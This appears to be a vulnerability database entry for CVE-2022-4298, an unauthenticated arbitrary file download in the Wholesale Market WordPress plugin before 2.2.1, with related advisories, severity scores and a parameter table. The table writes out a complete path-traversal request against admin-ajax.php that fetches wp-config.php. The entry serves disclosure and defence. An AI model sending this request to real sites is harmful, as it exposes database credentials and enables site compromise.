CVE-2022-4298

🗓️ 02 Jan 2023 21:49:31Reported by WPScanType

cve🔗 web.nvd.nist.gov👁 54 Views🌐 WEB

The Wholesale Market WordPress plugin before 2.2.1 allows unauthenticated attackers to download arbitrary files

Reporter	Title	Published	Views	Family All 11
Circl	CVE-2022-4298	4 Jan 202311:55	–	circl
CNNVD	WordPress plugin Wholesale Market 路径遍历漏洞	2 Jan 202300:00	–	cnnvd
Cvelist	CVE-2022-4298 Wholesale Market < 2.2.1 - Unauthenticated Arbitrary File Download	2 Jan 202321:49	–	cvelist
NVD	CVE-2022-4298	2 Jan 202322:15	–	nvd
OSV	CVE-2022-4298	2 Jan 202322:15	–	osv
Prion	Design/Logic Flaw	2 Jan 202322:15	–	prion
Positive Technologies	PT-2023-14167 · WordPress · Wholesale Market	2 Jan 202300:00	–	ptsecurity
RedhatCVE	CVE-2022-4298	23 May 202500:35	–	redhatcve
Vulnrichment	CVE-2022-4298 Wholesale Market < 2.2.1 - Unauthenticated Arbitrary File Download	2 Jan 202321:49	–	vulnrichment
wpexploit	Wholesale Market < 2.2.1 - Unauthenticated Arbitrary File Download	12 Dec 202200:00	–	wpexploit

NVD

Vulners

Node

cedcommerce wholesale_marketRange<2.2.1wordpress

[
  {
    "vendor": "Unknown",
    "product": "Wholesale Market",
    "versions": [
      {
        "status": "affected",
        "versionType": "custom",
        "version": "0",
        "lessThan": "2.2.1"
      }
    ],
    "defaultStatus": "unaffected",
    "collectionURL": "https://wordpress.org/plugins"
  }
]

Source	Link
wpscan	www.wpscan.com/vulnerability/7485ad23-6ea4-4018-88b1-174312a0a478

Parameter	Position	Path	Description
action	query param	/wp-admin/admin-ajax.php?action=ced_cwsm_csv_import_export_module_read_csv	Unauthenticated access via admin-ajax action to read_csv endpoint enabling file operations
action	query param	/wp-admin/admin-ajax.php?action=ced_cwsm_csv_import_export_module_download_error_log&tab=ced_cwsm_plugin&section=ced_cwsm_csv_import_export_module&ced_cwsm_log_download=../../../wp-config.php	Path traversal via admin-ajax log download parameter exposing wp-config.php contents
ced_cwsm_log_download	query param	/wp-admin/admin-ajax.php?action=ced_cwsm_csv_import_export_module_download_error_log&tab=ced_cwsm_plugin&section=ced_cwsm_csv_import_export_module&ced_cwsm_log_download=../../../wp-config.php	Path traversal via admin-ajax log download parameter exposing wp-config.php contents
tab	query param	/wp-admin/admin-ajax.php?action=ced_cwsm_csv_import_export_module_download_error_log&tab=ced_cwsm_plugin&section=ced_cwsm_csv_import_export_module&ced_cwsm_log_download=../../../wp-config.php	Path traversal via admin-ajax log download parameter exposing wp-config.php contents
section	query param	/wp-admin/admin-ajax.php?action=ced_cwsm_csv_import_export_module_download_error_log&tab=ced_cwsm_plugin&section=ced_cwsm_csv_import_export_module&ced_cwsm_log_download=../../../wp-config.php	Path traversal via admin-ajax log download parameter exposing wp-config.php contents

10 Apr 2025 19:15Current

9.7High risk

Vulners AI Score9.7

CVSS 3.19.8

EPSS0.55741

SSVC